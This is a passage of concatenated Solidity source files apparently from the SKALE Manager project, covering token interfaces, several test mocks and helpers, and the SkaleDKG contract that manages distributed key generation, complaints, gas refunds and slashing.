/**
* @dev Called by an {IERC777} token contract whenever a registered holder's
* (`from`) tokens are about to be moved or destroyed. The type of operation
* is conveyed by `to` being the zero address or not.
*
* This call occurs _before_ the token contract's state is updated, so
* {IERC777-balanceOf}, etc., can be used to query the pre-operation state.
*
* This function may revert to prevent the operation from being executed.
*/
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleTokenInternalTester.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "../SkaleToken.sol";
contract SkaleTokenInternalTester is SkaleToken {
constructor(address contractManagerAddress, address[] memory defOps) public
SkaleToken(contractManagerAddress, defOps)
// solhint-disable-next-line no-empty-blocks
{ }
function getMsgData() external view returns (bytes memory) {
return _msgData();
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
TimeHelpersWithDebug.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol";
import "../delegation/TimeHelpers.sol";
contract TimeHelpersWithDebug is TimeHelpers, OwnableUpgradeSafe {
struct TimeShift {
uint pointInTime;
uint shift;
}
TimeShift[] private _timeShift;
function skipTime(uint sec) external onlyOwner {
if (_timeShift.length > 0) {
_timeShift.push(TimeShift({pointInTime: now, shift: _timeShift[_timeShift.length.sub(1)].shift.add(sec)}));
} else {
_timeShift.push(TimeShift({pointInTime: now, shift: sec}));
}
}
function initialize() external initializer {
OwnableUpgradeSafe.__Ownable_init();
}
function timestampToMonth(uint timestamp) public view override returns (uint) {
return super.timestampToMonth(timestamp.add(_getTimeShift(timestamp)));
}
function monthToTimestamp(uint month) public view override returns (uint) {
uint shiftedTimestamp = super.monthToTimestamp(month);
if (_timeShift.length > 0) {
return _findTimeBeforeTimeShift(shiftedTimestamp);
} else {
return shiftedTimestamp;
}
}
// private
function _getTimeShift(uint timestamp) private view returns (uint) {
if (_timeShift.length > 0) {
if (timestamp < _timeShift[0].pointInTime) {
return 0;
} else if (timestamp >= _timeShift[_timeShift.length.sub(1)].pointInTime) {
return _timeShift[_timeShift.length.sub(1)].shift;
} else {
uint left = 0;
uint right = _timeShift.length.sub(1);
while (left + 1 < right) {
uint middle = left.add(right).div(2);
if (timestamp < _timeShift[middle].pointInTime) {
right = middle;
} else {
left = middle;
}
}
return _timeShift[left].shift;
}
} else {
return 0;
}
}
function _findTimeBeforeTimeShift(uint shiftedTimestamp) private view returns (uint) {
uint lastTimeShiftIndex = _timeShift.length.sub(1);
if (_timeShift[lastTimeShiftIndex].pointInTime.add(_timeShift[lastTimeShiftIndex].shift)
< shiftedTimestamp) {
return shiftedTimestamp.sub(_timeShift[lastTimeShiftIndex].shift);
} else {
if (shiftedTimestamp <= _timeShift[0].pointInTime.add(_timeShift[0].shift)) {
if (shiftedTimestamp < _timeShift[0].pointInTime) {
return shiftedTimestamp;
} else {
return _timeShift[0].pointInTime;
}
} else {
uint left = 0;
uint right = lastTimeShiftIndex;
while (left + 1 < right) {
uint middle = left.add(right).div(2);
if (_timeShift[middle].pointInTime.add(_timeShift[middle].shift) < shiftedTimestamp) {
left = middle;
} else {
right = middle;
}
}
if (shiftedTimestamp < _timeShift[right].pointInTime.add(_timeShift[left].shift)) {
return shiftedTimestamp.sub(_timeShift[left].shift);
} else {
return _timeShift[right].pointInTime;
}
}
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SafeMock.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol";
contract SafeMock is OwnableUpgradeSafe {
constructor() public {
OwnableUpgradeSafe.__Ownable_init();
multiSend(""); // this is needed to remove slither warning
}
function transferProxyAdminOwnership(OwnableUpgradeSafe proxyAdmin, address newOwner) external onlyOwner {
proxyAdmin.transferOwnership(newOwner);
}
function destroy() external onlyOwner {
selfdestruct(msg.sender);
}
/// @dev Sends multiple transactions and reverts all if one fails.
/// @param transactions Encoded transactions. Each transaction is encoded as a packed bytes of
/// operation as a uint8 with 0 for a call or 1 for a delegatecall (=> 1 byte),
/// to as a address (=> 20 bytes),
/// value as a uint256 (=> 32 bytes),
/// data length as a uint256 (=> 32 bytes),
/// data as bytes.
/// see abi.encodePacked for more information on packed encoding
function multiSend(bytes memory transactions)
public
{
// solhint-disable-next-line no-inline-assembly
assembly {
let length := mload(transactions)
let i := 0x20
// solhint-disable-next-line no-empty-blocks
for { } lt(i, length) { } {
// First byte of the data is the operation.
// We shift by 248 bits (256 - 8 [operation byte]) it right
// since mload will always load 32 bytes (a word).
// This will also zero out unused data.
let operation := shr(0xf8, mload(add(transactions, i)))
// We offset the load address by 1 byte (operation byte)
// We shift it right by 96 bits (256 - 160 [20 address bytes])
// to right-align the data and zero out unused data.
let to := shr(0x60, mload(add(transactions, add(i, 0x01))))
// We offset the load address by 21 byte (operation byte + 20 address bytes)
let value := mload(add(transactions, add(i, 0x15)))
// We offset the load address by 53 byte (operation byte + 20 address bytes + 32 value bytes)
let dataLength := mload(add(transactions, add(i, 0x35)))
// We offset the load address by 85 byte
// (operation byte + 20 address bytes + 32 value bytes + 32 data length bytes)
let data := add(transactions, add(i, 0x55))
let success := 0
switch operation
case 0 { success := call(gas(), to, value, data, dataLength, 0, 0) }
case 1 { success := delegatecall(gas(), to, data, dataLength, 0, 0) }
if eq(success, 0) { revert(0, 0) }
// Next entry starts at 85 byte + data length
i := add(i, add(0x55, dataLength))
}
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleDkgAlright.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaiev
@author Artem Payvin
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "../SkaleDKG.sol";
import "../ContractManager.sol";
import "../Wallets.sol";
import "../KeyStorage.sol";
/**
* @title SkaleDkgAlright
* @dev Contains functions to manage distributed key generation per
* Joint-Feldman protocol.
*/
library SkaleDkgAlright {
event AllDataReceived(bytes32 indexed schainId, uint nodeIndex);
event SuccessfulDKG(bytes32 indexed schainId);
function alright(
bytes32 schainId,
uint fromNodeIndex,
ContractManager contractManager,
mapping(bytes32 => SkaleDKG.Channel) storage channels,
mapping(bytes32 => SkaleDKG.ProcessDKG) storage dkgProcess,
mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints,
mapping(bytes32 => uint) storage lastSuccesfulDKG
)
external
{
SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG"));
(uint index, ) = skaleDKG.checkAndReturnIndexInGroup(schainId, fromNodeIndex, true);
uint numberOfParticipant = channels[schainId].n;
require(numberOfParticipant == dkgProcess[schainId].numberOfBroadcasted, "Still Broadcasting phase");
require(
complaints[schainId].fromNodeToComplaint != fromNodeIndex ||
(fromNodeIndex == 0 && complaints[schainId].startComplaintBlockTimestamp == 0),
"Node has already sent complaint"
);
require(!dkgProcess[schainId].completed[index], "Node is already alright");
dkgProcess[schainId].completed[index] = true;
dkgProcess[schainId].numberOfCompleted++;
emit AllDataReceived(schainId, fromNodeIndex);
if (dkgProcess[schainId].numberOfCompleted == numberOfParticipant) {
lastSuccesfulDKG[schainId] = now;
channels[schainId].active = false;
KeyStorage(contractManager.getContract("KeyStorage")).finalizePublicKey(schainId);
emit SuccessfulDKG(schainId);
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleDKG.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "./Permissions.sol";
import "./delegation/Punisher.sol";
import "./SlashingTable.sol";
import "./Schains.sol";
import "./SchainsInternal.sol";
import "./utils/FieldOperations.sol";
import "./NodeRotation.sol";
import "./KeyStorage.sol";
import "./interfaces/ISkaleDKG.sol";
import "./thirdparty/ECDH.sol";
import "./utils/Precompiled.sol";
import "./Wallets.sol";
import "./dkg/SkaleDkgAlright.sol";
import "./dkg/SkaleDkgBroadcast.sol";
import "./dkg/SkaleDkgComplaint.sol";
import "./dkg/SkaleDkgPreResponse.sol";
import "./dkg/SkaleDkgResponse.sol";
/**
* @title SkaleDKG
* @dev Contains functions to manage distributed key generation per
* Joint-Feldman protocol.
*/
contract SkaleDKG is Permissions, ISkaleDKG {
using Fp2Operations for Fp2Operations.Fp2Point;
using G2Operations for G2Operations.G2Point;
enum DkgFunction {Broadcast, Alright, ComplaintBadData, PreResponse, Complaint, Response}
struct Channel {
bool active;
uint n;
uint startedBlockTimestamp;
uint startedBlock;
}
struct ProcessDKG {
uint numberOfBroadcasted;
uint numberOfCompleted;
bool[] broadcasted;
bool[] completed;
}
struct ComplaintData {
uint nodeToComplaint;
uint fromNodeToComplaint;
uint startComplaintBlockTimestamp;
bool isResponse;
bytes32 keyShare;
G2Operations.G2Point sumOfVerVec;
}
struct KeyShare {
bytes32[2] publicKey;
bytes32 share;
}
struct Context {
bool isDebt;
uint delta;
DkgFunction dkgFunction;
}
uint public constant COMPLAINT_TIMELIMIT = 1800;
mapping(bytes32 => Channel) public channels;
mapping(bytes32 => uint) public lastSuccesfulDKG;
mapping(bytes32 => ProcessDKG) public dkgProcess;
mapping(bytes32 => ComplaintData) public complaints;
mapping(bytes32 => uint) public startAlrightTimestamp;
mapping(bytes32 => mapping(uint => bytes32)) public hashedData;
mapping(bytes32 => uint) private _badNodes;
/**
* @dev Emitted when a channel is opened.
*/
event ChannelOpened(bytes32 schainId);
/**
* @dev Emitted when a channel is closed.
*/
event ChannelClosed(bytes32 schainId);
/**
* @dev Emitted when a node broadcasts keyshare.
*/
event BroadcastAndKeyShare(
bytes32 indexed schainId,
uint indexed fromNode,
G2Operations.G2Point[] verificationVector,
KeyShare[] secretKeyContribution
);
/**
* @dev Emitted when all group data is received by node.
*/
event AllDataReceived(bytes32 indexed schainId, uint nodeIndex);
/**
* @dev Emitted when DKG is successful.
*/
event SuccessfulDKG(bytes32 indexed schainId);
/**
* @dev Emitted when a complaint against a node is verified.
*/
event BadGuy(uint nodeIndex);
/**
* @dev Emitted when DKG failed.
*/
event FailedDKG(bytes32 indexed schainId);
/**
* @dev Emitted when a new node is rotated in.
*/
event NewGuy(uint nodeIndex);
/**
* @dev Emitted when an incorrect complaint is sent.
*/
event ComplaintError(string error);
/**
* @dev Emitted when a complaint is sent.
*/
event ComplaintSent(
bytes32 indexed schainId, uint indexed fromNodeIndex, uint indexed toNodeIndex);
modifier correctGroup(bytes32 schainId) {
require(channels[schainId].active, "Group is not created");
_;
}
modifier correctGroupWithoutRevert(bytes32 schainId) {
if (!channels[schainId].active) {
emit ComplaintError("Group is not created");
} else {
_;
}
}
modifier correctNode(bytes32 schainId, uint nodeIndex) {
(uint index, ) = checkAndReturnIndexInGroup(schainId, nodeIndex, true);
_;
}
modifier correctNodeWithoutRevert(bytes32 schainId, uint nodeIndex) {
(, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false);
if (!check) {
emit ComplaintError("Node is not in this group");
} else {
_;
}
}
modifier onlyNodeOwner(uint nodeIndex) {
_checkMsgSenderIsNodeOwner(nodeIndex);
_;
}
modifier refundGasBySchain(bytes32 schainId, Context memory context) {
uint gasTotal = gasleft();
_;
_refundGasBySchain(schainId, gasTotal, context);
}
modifier refundGasByValidatorToSchain(bytes32 schainId, Context memory context) {
uint gasTotal = gasleft();
_;
_refundGasBySchain(schainId, gasTotal, context);
_refundGasByValidatorToSchain(schainId);
}
function alright(bytes32 schainId, uint fromNodeIndex)
external
refundGasBySchain(schainId,
Context({
isDebt: false,
delta: ConstantsHolder(contractManager.getConstantsHolder()).ALRIGHT_DELTA(),
dkgFunction: DkgFunction.Alright
}))
correctGroup(schainId)
onlyNodeOwner(fromNodeIndex)
{
SkaleDkgAlright.alright(
schainId,
fromNodeIndex,
contractManager,
channels,
dkgProcess,
complaints,
lastSuccesfulDKG
);
}
function broadcast(
bytes32 schainId,
uint nodeIndex,
G2Operations.G2Point[] memory verificationVector,
KeyShare[] memory secretKeyContribution
)
external
refundGasBySchain(schainId,
Context({
isDebt: false,
delta: ConstantsHolder(contractManager.getConstantsHolder()).BROADCAST_DELTA(),
dkgFunction: DkgFunction.Broadcast
}))
correctGroup(schainId)
onlyNodeOwner(nodeIndex)
{
SkaleDkgBroadcast.broadcast(
schainId,
nodeIndex,
verificationVector,
secretKeyContribution,
contractManager,
channels,
dkgProcess,
hashedData
);
}
function complaintBadData(bytes32 schainId, uint fromNodeIndex, uint toNodeIndex)
external
refundGasBySchain(
schainId,
Context({
isDebt: true,
delta: ConstantsHolder(contractManager.getConstantsHolder()).COMPLAINT_BAD_DATA_DELTA(),
dkgFunction: DkgFunction.ComplaintBadData
}))
correctGroupWithoutRevert(schainId)
correctNode(schainId, fromNodeIndex)
correctNodeWithoutRevert(schainId, toNodeIndex)
onlyNodeOwner(fromNodeIndex)
{
SkaleDkgComplaint.complaintBadData(
schainId,
fromNodeIndex,
toNodeIndex,
contractManager,
complaints
);
}
function preResponse(
bytes32 schainId,
uint fromNodeIndex,
G2Operations.G2Point[] memory verificationVector,
G2Operations.G2Point[] memory verificationVectorMult,
KeyShare[] memory secretKeyContribution
)
external
refundGasBySchain(
schainId,
Context({
isDebt: true,
delta: ConstantsHolder(contractManager.getConstantsHolder()).PRE_RESPONSE_DELTA(),
dkgFunction: DkgFunction.PreResponse
}))
correctGroup(schainId)
onlyNodeOwner(fromNodeIndex)
{
SkaleDkgPreResponse.preResponse(
schainId,
fromNodeIndex,
verificationVector,
verificationVectorMult,
secretKeyContribution,
contractManager,
complaints,
hashedData
);
}
function complaint(bytes32 schainId, uint fromNodeIndex, uint toNodeIndex)
external
refundGasByValidatorToSchain(
schainId,
Context({
isDebt: true,
delta: ConstantsHolder(contractManager.getConstantsHolder()).COMPLAINT_DELTA(),
dkgFunction: DkgFunction.Complaint
}))
correctGroupWithoutRevert(schainId)
correctNode(schainId, fromNodeIndex)
correctNodeWithoutRevert(schainId, toNodeIndex)
onlyNodeOwner(fromNodeIndex)
{
SkaleDkgComplaint.complaint(
schainId,
fromNodeIndex,
toNodeIndex,
contractManager,
channels,
complaints,
startAlrightTimestamp
);
}
function response(
bytes32 schainId,
uint fromNodeIndex,
uint secretNumber,
G2Operations.G2Point memory multipliedShare
)
external
refundGasByValidatorToSchain(
schainId,
Context({isDebt: true,
delta: ConstantsHolder(contractManager.getConstantsHolder()).RESPONSE_DELTA(),
dkgFunction: DkgFunction.Response
}))
correctGroup(schainId)
onlyNodeOwner(fromNodeIndex)
{
SkaleDkgResponse.response(
schainId,
fromNodeIndex,
secretNumber,
multipliedShare,
contractManager,
channels,
complaints
);
}
/**
* @dev Allows Schains and NodeRotation contracts to open a channel.
*
* Emits a {ChannelOpened} event.
*
* Requirements:
*
* - Channel is not already created.
*/
function openChannel(bytes32 schainId) external override allowTwo("Schains","NodeRotation") {
_openChannel(schainId);
}
/**
* @dev Allows SchainsInternal contract to delete a channel.
*
* Requirements:
*
* - Channel must exist.
*/
function deleteChannel(bytes32 schainId) external override allow("SchainsInternal") {
delete channels[schainId];
delete dkgProcess[schainId];
delete complaints[schainId];
KeyStorage(contractManager.getContract("KeyStorage")).deleteKey(schainId);
}
function setStartAlrightTimestamp(bytes32 schainId) external allow("SkaleDKG") {
startAlrightTimestamp[schainId] = now;
}
function setBadNode(bytes32 schainId, uint nodeIndex) external allow("SkaleDKG") {
_badNodes[schainId] = nodeIndex;
}
function finalizeSlashing(bytes32 schainId, uint badNode) external allow("SkaleDKG") {
NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation"));
SchainsInternal schainsInternal = SchainsInternal(
contractManager.getContract("SchainsInternal")
);
emit BadGuy(badNode);
emit FailedDKG(schainId);
schainsInternal.makeSchainNodesInvisible(schainId);
if (schainsInternal.isAnyFreeNode(schainId)) {
uint newNode = nodeRotation.rotateNode(
badNode,
schainId,
false,
true
);
emit NewGuy(newNode);
} else {
_openChannel(schainId);
schainsInternal.removeNodeFromSchain(
badNode,
schainId
);
channels[schainId].active = false;
}
schainsInternal.makeSchainNodesVisible(schainId);
Punisher(contractManager.getPunisher()).slash(
Nodes(contractManager.getContract("Nodes")).getValidatorId(badNode),
SlashingTable(contractManager.getContract("SlashingTable")).getPenalty("FailedDKG")
);
}
function getChannelStartedTime(bytes32 schainId) external view returns (uint) {
return channels[schainId].startedBlockTimestamp;
}
function getChannelStartedBlock(bytes32 schainId) external view returns (uint) {
return channels[schainId].startedBlock;
}
function getNumberOfBroadcasted(bytes32 schainId) external view returns (uint) {
return dkgProcess[schainId].numberOfBroadcasted;
}
function getNumberOfCompleted(bytes32 schainId) external view returns (uint) {
return dkgProcess[schainId].numberOfCompleted;
}
function getTimeOfLastSuccessfulDKG(bytes32 schainId) external view returns (uint) {
return lastSuccesfulDKG[schainId];
}
function getComplaintData(bytes32 schainId) external view returns (uint, uint) {
return (complaints[schainId].fromNodeToComplaint, complaints[schainId].nodeToComplaint);
}
function getComplaintStartedTime(bytes32 schainId) external view returns (uint) {
return complaints[schainId].startComplaintBlockTimestamp;
}
function getAlrightStartedTime(bytes32 schainId) external view returns (uint) {
return startAlrightTimestamp[schainId];
}
/**
* @dev Checks whether channel is opened.
*/
function isChannelOpened(bytes32 schainId) external override view returns (bool) {
return channels[schainId].active;
}
function isLastDKGSuccessful(bytes32 schainId) external override view returns (bool) {
return channels[schainId].startedBlockTimestamp <= lastSuccesfulDKG[schainId];
}
/**
* @dev Checks whether broadcast is possible.
*/
function isBroadcastPossible(bytes32 schainId, uint nodeIndex) external view returns (bool) {
(uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false);
return channels[schainId].active &&
check &&
_isNodeOwnedByMessageSender(nodeIndex, msg.sender) &&
!dkgProcess[schainId].broadcasted[index];
}
/**
* @dev Checks whether complaint is possible.
*/
function isComplaintPossible(
bytes32 schainId,
uint fromNodeIndex,
uint toNodeIndex
)
external
view
returns (bool)
{
(uint indexFrom, bool checkFrom) = checkAndReturnIndexInGroup(schainId, fromNodeIndex, false);
(uint indexTo, bool checkTo) = checkAndReturnIndexInGroup(schainId, toNodeIndex, false);
if (!checkFrom || !checkTo)
return false;
bool complaintSending = (
complaints[schainId].nodeToComplaint == uint(-1) &&
dkgProcess[schainId].broadcasted[indexTo] &&
!dkgProcess[schainId].completed[indexFrom]
) ||
(
dkgProcess[schainId].broadcasted[indexTo] &&
complaints[schainId].startComplaintBlockTimestamp.add(_getComplaintTimelimit()) <= block.timestamp &&
complaints[schainId].nodeToComplaint == toNodeIndex
) ||
(
!dkgProcess[schainId].broadcasted[indexTo] &&
complaints[schainId].nodeToComplaint == uint(-1) &&
channels[schainId].startedBlockTimestamp.add(_getComplaintTimelimit()) <= block.timestamp
) ||
(
complaints[schainId].nodeToComplaint == uint(-1) &&
isEveryoneBroadcasted(schainId) &&
dkgProcess[schainId].completed[indexFrom] &&
!dkgProcess[schainId].completed[indexTo] &&
startAlrightTimestamp[schainId].add(_getComplaintTimelimit()) <= block.timestamp
);
return channels[schainId].active &&
dkgProcess[schainId].broadcasted[indexFrom] &&
_isNodeOwnedByMessageSender(fromNodeIndex, msg.sender) &&
complaintSending;
}
/**
* @dev Checks whether sending Alright response is possible.
*/
function isAlrightPossible(bytes32 schainId, uint nodeIndex) external view returns (bool) {
(uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false);
return channels[schainId].active &&
check &&
_isNodeOwnedByMessageSender(nodeIndex, msg.sender) &&
channels[schainId].n == dkgProcess[schainId].numberOfBroadcasted &&
(complaints[schainId].fromNodeToComplaint != nodeIndex ||
(nodeIndex == 0 && complaints[schainId].startComplaintBlockTimestamp == 0)) &&
!dkgProcess[schainId].completed[index];
}
/**
* @dev Checks whether sending a pre-response is possible.
*/
function isPreResponsePossible(bytes32 schainId, uint nodeIndex) external view returns (bool) {
(, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false);
return channels[schainId].active &&
check &&
_isNodeOwnedByMessageSender(nodeIndex, msg.sender) &&
complaints[schainId].nodeToComplaint == nodeIndex &&
!complaints[schainId].isResponse;
}
/**
* @dev Checks whether sending a response is possible.
*/
function isResponsePossible(bytes32 schainId, uint nodeIndex) external view returns (bool) {
(, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false);
return channels[schainId].active &&
check &&
_isNodeOwnedByMessageSender(nodeIndex, msg.sender) &&
complaints[schainId].nodeToComplaint == nodeIndex &&
complaints[schainId].isResponse;
}
function isNodeBroadcasted(bytes32 schainId, uint nodeIndex) external view returns (bool) {
(uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false);
return check && dkgProcess[schainId].broadcasted[index];
}
/**
* @dev Checks whether all data has been received by node.
*/
function isAllDataReceived(bytes32 schainId, uint nodeIndex) external view returns (bool) {
(uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false);
return check && dkgProcess[schainId].completed[index];
}
function hashData(
KeyShare[] memory secretKeyContribution,
G2Operations.G2Point[] memory verificationVector
)
external
pure
returns (bytes32)
{
bytes memory data;
for (uint i = 0; i < secretKeyContribution.length; i++) {
data = abi.encodePacked(data, secretKeyContribution[i].publicKey, secretKeyContribution[i].share);
}
for (uint i = 0; i < verificationVector.length; i++) {
data = abi.encodePacked(
data,
verificationVector[i].x.a,
verificationVector[i].x.b,
verificationVector[i].y.a,
verificationVector[i].y.b
);
}
return keccak256(data);
}
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
}
function checkAndReturnIndexInGroup(
bytes32 schainId,
uint nodeIndex,
bool revertCheck
)
public
view
returns (uint, bool)
{
uint index = SchainsInternal(contractManager.getContract("SchainsInternal"))
.getNodeIndexInGroup(schainId, nodeIndex);
if (index >= channels[schainId].n && revertCheck) {
revert("Node is not in this group");
}
return (index, index < channels[schainId].n);
}
function _refundGasBySchain(bytes32 schainId, uint gasTotal, Context memory context) private {
Wallets wallets = Wallets(payable(contractManager.getContract("Wallets")));
bool isLastNode = channels[schainId].n == dkgProcess[schainId].numberOfCompleted;
if (context.dkgFunction == DkgFunction.Alright && isLastNode) {
wallets.refundGasBySchain(
schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(74800), context.isDebt
);
} else if (context.dkgFunction == DkgFunction.Complaint && gasTotal.sub(gasleft()) > 2e6) {
wallets.refundGasBySchain(
schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(640000), context.isDebt
);
} else if (context.dkgFunction == DkgFunction.Complaint && gasTotal.sub(gasleft()) > 1e6) {
wallets.refundGasBySchain(
schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(270000), context.isDebt
);
} else if (context.dkgFunction == DkgFunction.Response){
wallets.refundGasBySchain(
schainId, msg.sender, gasTotal.sub(gasleft()).sub(context.delta), context.isDebt
);
} else {
wallets.refundGasBySchain(
schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta), context.isDebt
);
}
}
function _refundGasByValidatorToSchain(bytes32 schainId) private {
uint validatorId = Nodes(contractManager.getContract("Nodes"))
.getValidatorId(_badNodes[schainId]);
Wallets(payable(contractManager.getContract("Wallets")))
.refundGasByValidatorToSchain(validatorId, schainId);
delete _badNodes[schainId];
}
function _openChannel(bytes32 schainId) private {
SchainsInternal schainsInternal = SchainsInternal(
contractManager.getContract("SchainsInternal")
);
uint len = schainsInternal.getNumberOfNodesInGroup(schainId);
channels[schainId].active = true;
channels[schainId].n = len;
delete dkgProcess[schainId].completed;
delete dkgProcess[schainId].broadcasted;
dkgProcess[schainId].broadcasted = new bool[](len);
dkgProcess[schainId].completed = new bool[](len);
complaints[schainId].fromNodeToComplaint = uint(-1);
complaints[schainId].nodeToComplaint = uint(-1);
delete complaints[schainId].startComplaintBlockTimestamp;
delete dkgProcess[schainId].numberOfBroadcasted;
delete dkgProcess[schainId].numberOfCompleted;
channels[schainId].startedBlockTimestamp = now;
channels[schainId].startedBlock = block.number;
KeyStorage(contractManager.getContract("KeyStorage")).initPublicKeyInProgress(schainId);
emit ChannelOpened(schainId);
}
function isEveryoneBroadcasted(bytes32 schainId) public view returns (bool) {
return channels[schainId].n == dkgProcess[schainId].numberOfBroadcasted;
}
function _isNodeOwnedByMessageSender(uint nodeIndex, address from) private view returns (bool) {
return Nodes(contractManager.getContract("Nodes")).isNodeExist(from, nodeIndex);
}
function _checkMsgSenderIsNodeOwner(uint nodeIndex) private view {
require(_isNodeOwnedByMessageSender(nodeIndex, msg.sender), "Node does not exist for message sender");
}
function _getComplaintTimelimit() private view returns (uint) {
return ConstantsHolder(contractManager.getConstantsHolder()).complaintTimelimit();
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Wallets.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaiev
@author Artem Payvin
@author Vadim Yavorsky
